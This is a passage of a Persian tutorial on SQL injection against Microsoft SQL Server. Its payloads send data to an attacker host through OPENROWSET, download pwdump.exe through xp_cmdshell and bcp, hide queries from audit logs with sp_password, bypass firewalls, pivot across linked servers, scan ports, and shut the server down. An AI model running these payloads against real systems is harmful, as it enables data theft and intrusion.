update users set password = 'password' where username = 'admin'--'
```

بنابراین نفوذگر می تواند، به وسیله register کردن یک کاربر با نام admin'-- ، رمزعبور مربوط به کاربر را با مقدار مورد نظر خود تغییر دهد. این یک مشکل بسیار خطرناک می باشد که در بسیاری از Application های بزرگ نیز در تابع بودن از این قانون اصرار شده است که با escape کردن چنین اطلاعات و کاراکترهایی می توان جلوی این گونه حملات، دفاع به عمل آورد و در نتیجه حتی از یک modify کردن ساده ی آن نیز بیزار می باشند !!!! این مورد گهگاه و بیگاه می تواند مشکلاتی را رقم زند، به هر حال، تا به حال چندین کاراکتر که به صورت مضر کار می کنند، شناخته شده اند. مثلا در این مورد می توان به آپوستروف اشاره کرد. مثل:

X'WOFL

از دید امنیتی، بهترین راه حل برای این مشکل به هر حال کنار آمدن با این مشکل که single-quote ها اجازه داده نشوند. اگر این مورد غیر قابل قبول باشد، آنها به ناچار جا گذاشته می شوند (escape). در این مورد، بهتر است که اطمینان حاصل شود که همه اطلاعاتی که به SQL query string می رود (به انضمام اطلاعات به دست آمده از بانک اطلاعاتی)، به صورت صحیح handled شده باشند. این نوع از حملات، همچنین اگر یک نفوذگر بتواند به طریقی اطلاعات را به سیستم بدون استفاده از application، insert کند، نیز قابل انجام خواهند بود. ممکن است application یک email interface نیز داشته باشد، یا شاید یک Error Log در بانک اطلاعاتی ذخیره شده باشد که به کمک آن نفوذگر می تواند بعضی کنترل ها را روی آن انجام دهد. همیشه بهترین راه بررسی همه اطلاعات، که شامل اطلاعاتی که در حال حاضر در سیستم نیز هستند، می باشد. توابع اعتبار سازی یا Validation Functions باید نسبتا برای فراخوانی ساده باشند. برای مثال:

```
if ( not isValid( "email", request.querystring("email") ) then
response.end
…. (or any thing else you want ☺ )
```

محدودیت در طول و اندازه یا Length Limits:

بعضی مواقع طول یا length اطلاعات ورودی نیز به منظور سختر ساختن حملات، محدود می شوند. در حالی که این کار مانع بعضی از حملات خواهد شد، اما همچنین امکان اعمال بعضی از اعمال مضر نیز در یک دستور ساده SQL نیز وجود خواهد داشت. برای مثال، User Name زیر، SQL Server را Shut Down خواهد کرد، در حالی که تنها از ۱۲ کاراکتر در ورودی استفاده می شود:

Username: ';shutdown--

به عنوان مثال دیگر می توان به خط زیر نیز توجه داشت:

drop table <tablename>

مشکل دیگر در رابطه با محدود کردن طول اطلاعات ورودی زمانی اتفاق خواهد افتاد که عملیات محدود کردن طول یا Length Limit بعد از escape شدن، کاراکترها انجام شود. اگر User Name به ۱۶ کاراکتر محدود شده باشد و Password نیز به ۱۶ کاراکتر محدود شده باشد، ترکیب User Name/Password زیر، می تواند دستور Shut Down را که در بالا ذکر شد، اجرا کند:

Username: aaaaaaaaaaaaaaa'
Password: '; shutdown--

دلیل آن است که Application سعی می کند که Single-Quote را از آخر و انتهای User Name جا بگذارد، و در نتیجه با حذف single-quote ها، رشته ورودی نیز به چیزی کمتر از ۱۶ کاراکتر تبدیل خواهد شد. نتیجه دیگر آنکه اگر فیلد مربوط به Password با یک Single-Quote شروع شود، بعد از اینکه گزارش تمام شد، می تواند شامل یک SQL باشد. مانند زیر:

select * from users where username='aaaaaaaaaaaaaaa'' and password='''; shutdown--

به طور موثر، User Name در گزارش عبارت زیر می شود:

aaaaaaaaaaaaaaa' and password='

و به دنبال آن دستور SQL اجرا خواهد شد.

انجام عملیات فریب و حیله برای بازرسی یا Audit Evasion:

SQL Server شامل یک interface قوی از auditing (بازرسی) در سری توابع sp_traceXXX می باشد که اجازه Logging و Log برداری از تمامی حوادثی که در بانک اطلاعاتی روی می دهد را خواهد داد. از منافع خاص در اینجا می توان T-SQL را گفت، که تمامی جملات SQL را log می کند و همه آنهایی را که در سرور آماده سازی و اجرا شده اند را batch و دسته بندی و مجموعه بندی می کند. اگر این سطح از بازرسی و auditing فعال باشد، تمامی گزارش های SQL که ما درباره آنها بحث کردیم به راحتی log می شوند و معمولا یک مدیر باهوش قادر خواهد بود، که چه روی داده است. متاسفانه، اگر نفوذگر رشته ی sp_password را در یک جمله Transact-SQL قرار دهد، ماکانیزم مربوط به بازرسی، عبارت زیر را log خواهد کرد:

-- 'sp_password' was found in the text of this event.
-- The text has been replaced with this comment for security reasons.

این رفتار در تمامی T-SQL ها، انجام می شود، حتی اگر sp_password در یک comment واقع شود. این مورد، نامزدی برای مخفی کردن پسوردهای plaintext مربوط به کابران می باشد که از میان sp_password عبور داده می شوند، که در این حال مورد و رفتاری کاملا مفید برای یک نفوذگر می باشد. بنابراین، برای مخفی کردن تمامی تزریق ها و injection هایی یک نفوذگر انجام می دهد، تنها کافی است sp_password را بعد از کاراکترهای توضیحی '--‘ قرار دهید. مانند مثال زیر:

Username: admin'--sp_password

واقعیت آنکه SQL که اجرا شد، log خواهد شد، اما خود query string به راحتی در log غایب خواهد بود ☺ !!!

بخش ۵: طُرُقی جالب برای دستکاری در Micro$oft SQL Server

تشخیص آسیب پذیری های SQL Injection

هنگامی که سعی بر SQL Injection کردن یک Application دارید، نفوذگر نیاز به روشی خواهد داشت که بفهمد آیا SQL تزریق شده در روی سرور اجرا و Execute شده است یا خیر و همچنین، روشی برای برداشت و retrieve کردن نتایج نیز، نیاز خواهد بود. دو تابع در SQL Server که به صورت built-in وجود دارند، می توانند برای این منظور به کار برده شوند. توابع OPENROWSET و OPENDATASOURCE به یک کاربر در SQL Server اجازه می دهند که یک منبع اطلاعاتی (data source) را به صورت remote باز کنند. این توابع، برای برقراری یک ارتباط با یک ارائه دهنده ی OLEDB استفاده می شوند. تابع OPENROWSET در تمامی مثال ها استفاده خواهد شد اما OPENDATASOURCE می تواند در همان نتایج استفاده شود. این جمله تمامی ردیف های (row) مربوط به table1 را روی remote data source باز می گرداند :

```
select * from
OPENROWSET( 'SQLoledb',
'server=servername;uid=sa;pwd=h8ck3r',
'select * from table1' )
```

پارامترها:

۱)-نام ارائه دهنده OLEDB

۲)-رشته ارتباط (Connection String - می تواند یک OLEDB Data Source یا یک ODBC Connection String باشد).

۳)- جمله SQL یا SQL Statement

پارامتر Connection String می تواند دیگر اختیارات و گزینه ها را تعیین کند از قبیل: Network Library برای استفاده یا IP Address و Port که چه کسی به آن کانکت می شود. در زیر یک نمونه را می بینید:

```
select * from
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=10.0.0.10,1433;',
'select * from table' )
```

در این مثال، SQL Server از OLEDB Provider SQLoledb برای اجرای این جمله SQL (SQL Statement) استفاده خواهد کرد. OLEDB Provider از SQL Server Sockets Library (DBMSSOCN) برای وصل شدن به پورت ۱۴۳۳ در 10.0.0.10 استفاده می کند و نتایج این جمله SQL را بر روی Local SQL Server باز می گرداند. یوزرنیم sa و پسورد h8ck3r برای اعتبار دادن به remote data source استفاده خواهد شد. مثال بعدی نشان می دهد که چطور تابع OPENROWSET می تواند برای وصل شدن به یک IP Address/Port اختیاری مثل IP Address/Port مربوط به نفوذگر استفاده شود. در این مورد، host name مربوط به سیستم نفوذگر، hackerip می باشد و یک نسخه از Microsoft SQL Server در حال اجرا در پورت ۸۰ می باشد. hackerip می تواند با یک IP Address عوض شود و پورت می تواند هر پورتی باشد که نفوذگر تمایل دارد با آن پورت ارتباط (connection) مستقیم داشته باشد.

```
select * from
```

```
OPENROWSET('SQLoledb',
'uid=sa;pwd=;Network=DBMSSOCN;Address=hackersip,80;',
'select * from table')
```

با injection کردن این جمله SQL، یک نفوذگر می تواند تعیین کند که آیا جمله اجرا می شود یا خیر. اگر SQL با موفقیت اجرا شود، سرور مورد حمله یک ارتباط خارجی (outbound connection) را به سیستم نفوذگر در پورت تعیین شده، خواهد فرستاد. باید گفت که بلاک شدن این outbound SQL Connection بسیار بعید خواهد بود چرا که connection روی پورت ۸۰ در حال اجرا است. این تکنیک به نفوذگر اجازه خواهد داد که تعیین کند آیا جمله SQL تزریق شده اجرا شده است یا خیر حتی اگر نتایج error message ها و query ها به browser بازگشت داده نشود.

برداشت (Retrieve) نتایج از SQL Injection:

تابع OPENROWSET و OPENDATASOURCE معمولا برای کشیدن اطلاعات داخل SQL Server برای دست کاری کردن می باشد. آنها به هر حال همچنین می توانند برای push کردن به یک remote SQL Server استفاده شوند. OPENROWSET نه تنها می تواند برای اجرای کردن جملات SELECT استفاده شود، بلکه می واند برای اجرای جملات UPDATE, INSERT, DELETE در external data sources نیز استفاده شود. انجام عملیات دستکاری اطلاعات (data manipulation) در remote data sources کم استفاده است و فقط زمانی کار می کند که OLEDB Provider این عامل را پشتیبانی کند. SQLOLEDB Provider تمامی این جملات را پشتیبانی می کند. در زیر یک مثال از انتشار اطلاعات به یک external data source را می بینید:

```
insert into
OPENROWSET('SQLoledb',
'server=servername;uid=sa;pwd=h8ck3r',
'select * from table1')
select * from table2
```

در مثال فوق، تمامی ردیف ها در table2 روی Local SQL Server به table1 در remote data source اضافه (append) خواهند شد. به منظوراجرای صحیح جملات، دو جدول باید ساختاری مانند هم داشته باشند. همان طور که در قبل ذکر شد، remote datasources می تواند به هر سروری که attacker انتخاب می کند، redirect شود. یک نفوذگر، می تواند جمله فوق را برای وصل شدن به یک remote datasource از قبیل Microsoft SQL Server در حال اجرا در ماشین نفوذگر، تغییر دهد.

```
insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from table1')
select * from table2
```

به منظور اضافه کردن صحیح اطلاعات به table1، نفوذگر باید table1 را با همان ستون ها و نوع اطلاعات (data type) مانند table2 ایجاد کند. این اطلاعات نسخت می تواند به وسیله انجام این حمله در مقابل جدول های سیستم تعیین شود. این عمل کار خواهد کرد، چرا که ساختار مربوط جدول های سیستمی (system tables) به خوبی شناخته شده هستند. یک نفوذگر می تواند کار را با ایجاد

کردن یک جدول با نامی مشابه ستون ها (similar column name) و نوع اطلاعاتی (data type) مانند جدول های سیستمی، sysdatabases, sysobjects و syscolumns شروع کند. آنوقت برای برداشت (retrieve) اطلاعات حساس و مهم، جمله زیر می تواند اجرا شود:

```
insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from _sysdatabases')
select * from master.dbo.sysdatabases
insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from _sysobjects')
select * from user_database.dbo.sysobjects
insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from _syscolumns')
select * from user_database.dbo.syscolumns
```

بعد از ایجاد مجدد جدول ها در بانک اطلاعاتی، لود شدن اطلاعات باقیمانده از SQL Server بسیار ناچیز خواهد بود.

```
insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from table1')
select * from database..table1
insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from table2')
select * from database..table2
```

با استفاده از این روش، یک نفوذگر می تواند جزئیات یک جدول را برداشت کند حتی اگر application طوری طراحی شده باشد که error message ها یا نتایج گزارش های نامعتبر (invalid query results) را مخفی نگه دارد. با اختصاص سطوح دسترسی (privilege) معین، نفوذگر می تواند لیست مربوط به login ها (username) و hash های رمزهای عبور (passwords) را به خوبی به دست آورد:

```
insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from _sysxlogins')
select * from database.dbo.sysxlogins
```

با به دست آوردن hash های رمز عبور، شاید امکان انجام عملیات brute-force را روی پسوردها به دست آید. همچنین نفوذگر می تواند دستورات را روی سرور نفوذشده اجرا کند و نتایج را به دست آورد:

```
insert into
OPENROWSET('SQLoledb',
```

```
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from temp_table')
exec master.dbo.xp_cmdshell 'dir'
```

اگر دیوار آتش برای بلاک کردن تمامی outbound SQL Server Connection ها پیکربندی شده باشد، نفوذگر می تواند یکی از چندین تکنیک را برای گیرانداختن firewall به کار برد. نفوذگر می تواند آدرس را برای push کردن اطلاعات با استفاده از پورت 80 تنظیم و set کند. بنابراین، به عنوان یک HTTP Connection به نظر خواهد آمد. در زیر مثالی از این تکنیک ارائه شده است:

```
insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
'select * from table1')
select * from table1
```

اگر outbound connection ها روی پورت ۸۰ نیز به وسیله دیوارآتش بلاک می شوند، نفوذگر می تواند پورت های گوناگونی را امتحان کند تا اینکه یک پورت unblocked پیدا شود.

آپلود کردن فایلها

هنگامی که یک نفوذگر یک سطح دسترسی مناسب را روی SQL SERVER به دست آورد، شاید بخواهند یک فایل BINARY را به سرور آپلود کنند. از زمانی که، این کار به وسیله از استفاده از پروتکل ها مانند SMB امکان پذیر نیست و نیز از زمانی که PORT 137-139 معمولا به وسیله دیوارهای آتش بلاک می شوند، نفوذگر نیاز به روشی دیگر خواهد داشت که بیناری ها را به FILE SYSTEM سیستم قربانی انتقال دهد. این کار می تواند به وسیله استفاده از آپلود کردن یک فایل بیناری در یک جدول لوکال در سیستم نفوذگر و سپس PULLING آنها به فایل سیستم قربانی به وسیله یک SQL SERVER CONNECTION انجام شود. برای انجام این عملیات، نفوذگر باید یک جدول را در LOCAL SERVER مانند زیر ایجاد کند:

```
create table AttackerTable (data text)
```

بعد از ایجاد جدول، نفوذگر می تواند بیناری ها را به جدول به صورت زیر آپلود کند:

```
bulk insert AttackerTable
from 'pwdump.exe'
with (codepage='RAW')
```

آنوقت، بیناری می تواند از سیستم نفوذگر به سیستم قربانی به وسیله اجرای جمله SQL زیر روی سیستم قربانی انتقال یابد:

```
exec xp_cmdshell 'bcp "select * from AttackerTable" queryout pwdump.exe -c -Craw -Shackersip -Usa -Ph8ck3r'
```

این جمله یک outbound connection را برای سرور نفوذگر ایجاد خواهد کرد، و سپس نتایج گزارش را در یک فایل خواهد نوشت. در این مورد، connection به وسیله استفاده از default protocol & port که معمولا به وسیله دیوارآتش بلاک خواهد شد، ایجاد خواهد شد. برای فریب دادن دیوارآتش، نفوذگر می تواند مورد زیر را استفاده کند:

```
exec xp_regwrite
```

```
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServer\Client\ConnectTo','HackerSrvAlias','REG_SZ','D
BMSSOCN,hackersip,80'
```

و سپس:

```
exec xp_cmdshell 'bcp "select * from AttackerTable" queryout pwdump.exe -c -Craw -SHackerSrvAlias -Usa -Ph8ck3r'
```

اولین جمله SQL، یک connection را با سرور نفوذگر روی پورت ۸۰ پیکربندی خواهد کرد و سپس جمله دوم SQL، به سیستم نفوذگر با استفاده از پورت ۸۰ کانکت می شود و فایل بینایری را دانلود خواهد کرد. روش دیگری که نفوذگر می تواند استفاده کند، این است به نوشتن Visual Basic Script (.vbs) یا JavaScript Files (.js) در OS File system بپردازد و آنوقت آن اسکریپت ها را اجرا کند.

با استفاده از این تکنیک، اسکریپت ها می توانند به هر سروری کانکت شوند و سپس فایل های بینایری سیستم نفوذگر را دانلود کنند یا حتی اسکریپت ها روی سیستم قربانی کپی شوند و فایل را در سرور قربانی اجرا کنند.

```
exec xp_cmdshell '"first script line" >> script.vbs'
exec xp_cmdshell '"second script line" >> script.vbs'
...
exec xp_cmdshell '"last script line" >> script.vbs'
exec xp_cmdshell 'script.vbs' -->execute script to download binary
```

نفوذ به شبکه داخلی

Linked & Remote Server در Microsoft SQL Server به یک سرور اجازه خواهد داد که با یک remote database server ارتباط برقرار کند. Linked Servers به شما اجازه خواهند داد که گزارش های توزیع شده (Distributed Query) را اجرا کنید و حتی remote database server ها را کنترل کنید.

یک نفوذگر می تواند از این قابلیت برای دستیابی به شبکه داخلی استفاده کنید. یک نفوذگر می تواند کار را با جمع آوری اطلاعات از جدول سیستمی master.dbo.sysservers شروع کند که در زیر این موضوع نشان داده شده است:

```
insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
'select * from _sysservers')
select * from master.dbo.sysservers
```

برای توزیع بیشتر، نفوذگر می تواند گزارشی از اطلاعات Linked & Remote Server داشته باشد.

```
insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
'select * from _sysservers')
select * from LinkedOrRemoteSrv1.master.dbo.sysservers
insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
'select * from _sysdatabases')
select * from LinkedOrRemoteSrv1.master.dbo.sysdatabases
...etc.
```

اگر Linked & Remote Server ها برای دستیابی اطلاعات پیکربندی نشده باشند (برای اجرای گزارش های دلخواه پیکربندی نشده باشد – فقط برای اجرای رویه های ذخیره شده یا Stored Procedure ها پیکربندی شده باشد)، آنوقت نفوذگر از مورد زیر استفاده خواهد کرد:

```
insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
'select * from _sysservers')
exec LinkedOrRemoteSrv1.master.dbo.sp_executesql N'select * from
master.dbo.sysservers'
insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
'select * from _sysdatabases')
exec LinkedOrRemoteSrv1.master.dbo.sp_executesql N'select * from
master.dbo.sysdatabases'
...etc.
```

با استفاده از این تکنیک، نفوذگر می تواند از یک database server به database server دیگر بپرد و در نتیجه از میان Linked & Remote Server ها به شبکه داخلی نزدیک تر شود:

```
insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
'select * from _sysservers')
exec LinkedOrRemoteSrv1.master.dbo.sp_executesql
N'LinkedOrRemoteSrv2.master.dbo.sp_executesql N"select * from
master.dbo.sysservers"'
insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
'select * from _sysdatabases')
exec LinkedOrRemoteSrv1.master.dbo.sp_executesql
N'LinkedOrRemoteSrv2.master.dbo.sp_executesql N"select * from
master.dbo.sysdatabases"'
...etc.
```

هنگامی که نفوذگر دسترسی مناسبی به یک Linked Server یا Remote Server پیدا کرد، او می تواند فایل های مورد نیاز خود را با استفاده از روشی که در قبل توضیح داده شد، به سرورها آپلود کند.

پویش پورت ها (Port Scan)

با استفاده از این تکنیک ها که توضیح داده شده است، یک نفوذگر می تواند از یک آسیب پذیری **SQL Injection** به عنوان یک اسکنر و پویشگر **IP/Port** به صورت ناقص برای شبکه داخلی یا اینترنت استفاده کند. همچنین، با استفاده از **SQL Injection**، **IP Address** واقعی مربوط به سیستم نفوذگر، پنهان خواهد شد. بعد از پیدا کردن یک (وب) **application** با اعتباردهی ضعیف ورودیها، نفوذگر می تواند جمله **SQL** زیر را **submit** کند:

```
select * from
```

```
OPENROWSET('SQLoledb','uid=sa;pwd=;Network=DBMSSOCN;Address=10.0.0.123,80;timeout=5','selec
t * from table')
```

این جـمله، یک outbound connection را به 10.0.0.123 روی پورت ۸۰، می فرستد. بر اساس، پیام های خطـای برگشـتی (Error Messages) و زمان مصرف شده، نفوذگر می تواند تعیین کند آیا پورت باز است یا خیر. اگر پـورت بسـته باشـد، زمـان تعیـین شده بر حسب ثانیه در پارامتر timeout مصرف خواهد شد وپیام خطای زیر نمایش داده خواهد شد:

SQL Server does not exist or access denied.

آنوقت، اگر پورت باز باشد، زمان به طور کامل مصرف نخواهد شد (چیزی است که تا حدی بسـتگی بـه application دارد کـه در عملا در پورت وجود دارد و در حال ایفای نقش می باشد) و پیام خطای زیر برگشت داده خواهد شد:

General network error. Check your network documentation.

Or

OLE DB provider 'sqloledb' reported an error. The provider did not give any information about the error.

با استفاده از تکنیک، نفوذگر قادر خواهد بود که پورت های باز را روی IP Address های host ها در شبکه داخلی یا اینترنـت map کند و همچنین می تواند IP Address خود را مخفی کدن چرا کـه تـلاش هـای برقـراری connection بـه وسـیله SQL Server ایجاد شده اند.

بدیهی است که این نوع از Port Scanning مقداری خام و پوچ خواهد بود، اما با روشی می تواند به طـور مـوثر در یـک شـبکه عملیات MAPPING را انجام دهد. نتیجه دیگر ایـن حالـت از port scanning در واقـع یـک DoS attack خواهـد بـود. مثـال زیـر را ببینید:

```
select * from
OPENROWSET('SQLoledb',
'uid=sa;pwd=;Network=DBMSSOCN;Address=10.0.0.123,21;timeout=600',
'select * from table')
```

این دستور، یک outbound connection را برای 10.0.0.123 روی پورت ۲۱ به مدت ۱۰ دقیقه خواهد فرستاد کـه در ایـن مدت حدودا ۱۰۰۰ ارتباط و connection در مقابل FTP Service ایجاد خواهد شد. این مورد به دلیل اینکه SQL Server نمی توانـد به یک سیستم valid وصل شود و همچنین به دلیل اینکه تلاش خود را برای وصل شدن در مدت زمـان تعیـین شـده، ادامـه خواهـد داد، اتفاق می افتد. با استفاده از این متد،می توان چندین حمله را در یک زمان انجام داد و تاثیر این حمله را چندین برابر کرد!!

بخش ۶: روش هایی حرفه ای برای انجام SQL Injection

پیرو مطالبی که در فصول قبل خواندیم. درکی تقریبا کاملی در رابطه با SQL Injection به دست آوردیم. با وجود اینکه در قبل راجع به MS SQL صحبت های بسیار شده ولی این فصل را به متدها و نکته هایی که اغلب اوقات استفاده می شود، اشاره می کنیم. همچنین به عنوان خلاصه ای برای فصول قبل نیز می تواند کاربرد داشته باشد.

نکاتی برای حمله:

موقعیت نفوذگردر فضای application و یا درشبکه نقش بسیار تعیین کننده در چگونگی دسترسی و نفوذ به یک سیستمSQL Server از راه دور دارد. اگر نفوذگر ازطریق تزریق SQL به یک web server عمل بکند، اعمالی که انجام می دهد به طور قابل توجهی با زمانی که دسترسی مستقیم به SQL می تواند داشته باشد، متفاوت خواهد بود. این قسمت از مقاله خود به چهار قسمت تقسیم می شود:

قسمت اول شامل مباحثی می باشد که هکر احتیاج به شناسه وکلمه عبور ندارد (این حملات نیاز به اعتبار وتصدیق هویت ندارند)، درقسمت دوم راجع به حملاتی صحبت خواهیم کرد که برای انجام آن ها احتیاج به اعتبار داشته وبرای موفقیت باید ازشناسه کاربری استفاده نمود. درقسمت سوم حملاتی مورد توجه قرار خواهد گرفت که ازطریق یک سرور در معرض خطر می باشند و درآخر به صورت خلاصه و سطحی به حملاتی خواهیم پرداخت که ازطریق وب و بوسیله SQL Injection انجام خواهند شد.

جعبه ابزار یک هکر:

قبل از آن که هرکاری انجام شود چه نصب کردن یک دوش و چه سنگ فرش کردن پشت بام، بسیاری از موارد غیر ضروری، با در اختیار داشتن ابزار مناسب قابل پیشگیری هستند و این امر در مورد حمله به یک سیستم کامپیوتری نیز صادق است. از آنجا که اکنون حمله به یکSQL Server مورد توجه می باشد، پس ابزار کار مورد نیاز ما، شامل ترکیبی ازبرنامه های سرویس گیرنده ی SQL ، مثل query analyzer sqlping و مترجم C می باشد. یکی از ابزار بسیار مهم یک نسخه ازخودMS SQL می باشد!!

به دست آوردن دسترسی به برنامه سرور هدف می باشد. ازآنجا که ممکن است مجبور شویم به مهندسی معکوس بپردازیم در دسترس داشتن یک decompiler قوی همانند IDA pro Datarescues کمک شایانی خواهد کرد. درآخر هم یک برنامه استراق شبکه قوی همانند NGS Sniff مورد نیاز می باشد. به هر حال جعبه ابزار از ابزار زیرتشکیل شده است :

MS SQL 2000 ,developer edition
MS SQLclient tools(query analyzer & odbc ping)
NGS Squirrel - برنامه های قوی جهت پیدا کردن حفره ها وپوشاندن آنها
NGS SQL Crack - برنامه ای برای کرک کردن رمزکاربران استاندارد
NGS Sniff - برنامه قوی جهت آنالیزواستراق سمع درشبکه
MS VC++

اطلاعات یا هاست (host)؟

یک سوال که هکر قبل از هر چیز باید ازخود بپرسد این است که به دنبال اطلاعات هست یا Host ؟ به عنوان مثال اکسپلویت کردن buffer over run ممکن است، منتهی به شل مستقیم ویامعکوس شود. این حمله به هکر دسترسی به HOST را امکان پذیر می کند ولی به طور مستقیم دسترسی آسان به اطلاعات ذخیره شده در DataBase را نمی دهد، حتی اگر شل در حال اجرا در زمینه امنیتی سیستم محلی باشد.

برای به دست آوردن دسترسی به Data، نفوذگر محتاج به این است که DB های MDF را در عمل به دست بیاورد. بهترین کاری که نفوذگر می تواند برای به دست آوردن data که هدف اصلی حمله است بکند، level کردن RUTIME PATCH EXPLOIT بر HOST می باشد. لزوماً این نوع حمله ها باید ازسری های زیادی از CALL ها همانند(Virtual Protect برای علامت گذاری بر segment کد حافظه مجازی (Code Segment Of Virtual Memmory) به عنوان قابلیت نوشتن واختصاص دادن ۳ بایت به عنوان منبعی برای مشخص کردن سطح دسترسی بگذارند.

با set کردن این ۳ بایت این امکان به وجود می آید که هر LogIn رابرابر با 'sa' قرار داد. بنابراین حتی login های با سطح کاربری و اجازه پایین این امکان را به دست آورده تا data ها را انتخاب، بروز، یا وارد کنند. درصورتی که به طور عادی این دسترسی را ندارند. بسته به این که نفوذگر چه چیزی را می خواهد به دست بیاورد، باید روش وارد شدن خود به سیستم و نیز نوع حمله را مشخص کند.

قسمت اول –حملاتی که به هویت احتیاج ندارند:

با توجه به لیست پورت های استاندارد، پورت 1434 UDP، پورت MS-SQL Monitor می باشد. اهمیت امنیتی این پورت زمانی مشخص شد که برنامه ی SQL Ping نوشته شد. این برنامه با یک بایت UDP، بسته ای به پورت۱۴۳۴ بر host داده شده می فرستد. علی رغم اینکه این برنامه برعلیه کل Broadcast Subnet نیزکار می کند. بایت این بسته مقداری برابر0x02 دارد. SQL Server به تقاضا کننده جواب می دهد که این جواب دارای اطلاعات مهمی همانندhostname، شماره نسخه، net library و پورت هایی است که سرور به آن ها گوش می دهد.

```
servername:server-name
intancename:mssqlserver
isclustered:no
version:8.00.194
np:\\server-name\pipe\sql\query
via:servername/o:1433
```

چند مورد قابل توجه وجود دارد:

اولین مورد این است که شماره نسخه داده شده غلط می باشد، برای مثال اگر سرویس پک ۲ نصب شده باشد، اجرا کردن"select@@version" مقدار8.00.608 رابازمی گرداند نه مقدار 8.00.194 و اگر سرور پنهان شده باشد، که این کار از طریق گزینه Hide برای TCP Network Library در SQL Network Utility انجام می شود، آنگاهSQL Server به پورت 2433 TCP گوش خواهد داد؛ اما به هرحال SQL-Ping گزارش می دهد که سرور درحال گوش دادن برپورت 1433 می باشد و این چیزی است که مایکروسافت آن را پنهان نمودنsql server نام نهاده است .

SQL-Ping باعث بازشدن روزنه جدیدی در مبحث Scanning بود، اما عملیات scan، خیلی زود بعد از اینکه این برنامه ارائه شد متوقف شد. حال یک سوال پیش می آید و آن این است که اگر **SQL Server** بسته ای را که از طریق پورت **1434** دریافت می کند، دارای مقداری غیر از **0x02** باشد، چه عملی را انجام می دهد؟

SQL Ping، آنقدر نویسنده اش را تحت تأثیر قرار داد که او بامسئولیت بالا یک applet کوچکِ **winsock** نوشت که مقادیر را از **0x00** تا **0xff** با حجم و سرعت بالا به پورت **1434** می فرستاد. هنگامی که مقدار این بسته ها برابر با **0x08** بود، سرور عملا مرده حساب می شد. اگر ما بیتِ کدی را که چنین تقاضای **UDP** را برعهده دارد، امتحان کنیم، می توانیم سورس مشابه ای برای آن درزبان **C** درنظر بگیریم که مثل زیر می باشد:

```
If(FIRST_BYTE>9)
  {
        goto g9;
else
        if(FIRST_BYTE==9)
          {
            goto e9;
          }
        else
         {
           FIRST_BYTE=FIRST_BYTE_2;
if(FIRST_BYTE>6)
  {
    shoud never get here!!!
  }
cmdptr=cmdptr+4* FIRST_BYTE;
cmdptr();
}
```

که مقادیر مورد بحث و علاقه ما**0x04** و **0x08** و **0x0A** می باشند. **0x04** باعث**Stacked Based Buffer OverFlow** شده و **0x08** باعث **HeapOverFlow** می شود. همچنین **0x0A** باعث **Network DoS** می شود. که در زیر تک تک به توضیح می پردازیم.

:x04

هنگامی که SQL Server بسته ای را دریافت می کند که مقدار بایت اولی آن به**0x04** شده است، هرآنچه را که بعد از **0x04** بیابد را وارد بافرکرده و تلاش می کند که یک کلید رجیستری با استفاده از بافر بازکندو آماده شدن برای بازکردن کلید رجیستری یک فضای نا امن برای کپی کردن یک String به وجود می آورد. و اکنونما می توانیم باعث سرریزشدن بافر پشته با به اصطلاح **stack based buffer** و نیز دوباره نوشتن برروی آدرس بازگشتی ذخیره شده برپشته، شویم. و این به ما کنترل کامل یک سیستم را بدون آنکه احتیاج به تصدیق هویت داشته باشیم می دهد. چیزی که این مشکل را دو چندان می کند، این است که تمام آن ها درحال اجرا برروی **UDP** می باشند، بنابراین اولا به آسانی آدرس**IP** قابل جعل است. به این صورت که وانمود شود حمله از جایی دیگردر حال اجرا می باشد و یا حتی این بسته ها از یک**HOST** برروی شبکه داخلی فرستاده شده اند و این باعث سردرگمی تعداد زیادی ازدیوارهای آتش می شود.دوم اینکه اگر هکر پورت مبدأ **UDP**را برابر با **53** قرار دهد و آنچنان وانمود کند که یک پاسخ به**DNS-QUERY** باشد، باز باعث رد شدن از تعداد بسیار زیادی از دیوارهای آتش می شود.

این نکته بسیار مهم می باشد که دیوارهای آتش شما به گونه ای نصب شده باشد که هر بسته فرستاده شده از خارج و نیز با آدرس خارجی را به دام بیاندازد. نکته مهم تر اینکه، به هیچ عنوان به هیچ بسته ای برای مقصد1434 برای SQL Server اجازه ندهد و در اینجا پورت مبدأ، به هیچ عنوان مهم نیست. کتاب های کمکی و Manual های مربوط به SQL Server برروی اینترنت همگی به این نکته اشاره دارند که پورت 1434 باید برروی دیوار آتش بازباشد. اما این نکته به هیچ عنوان صحیح نمی باشد .

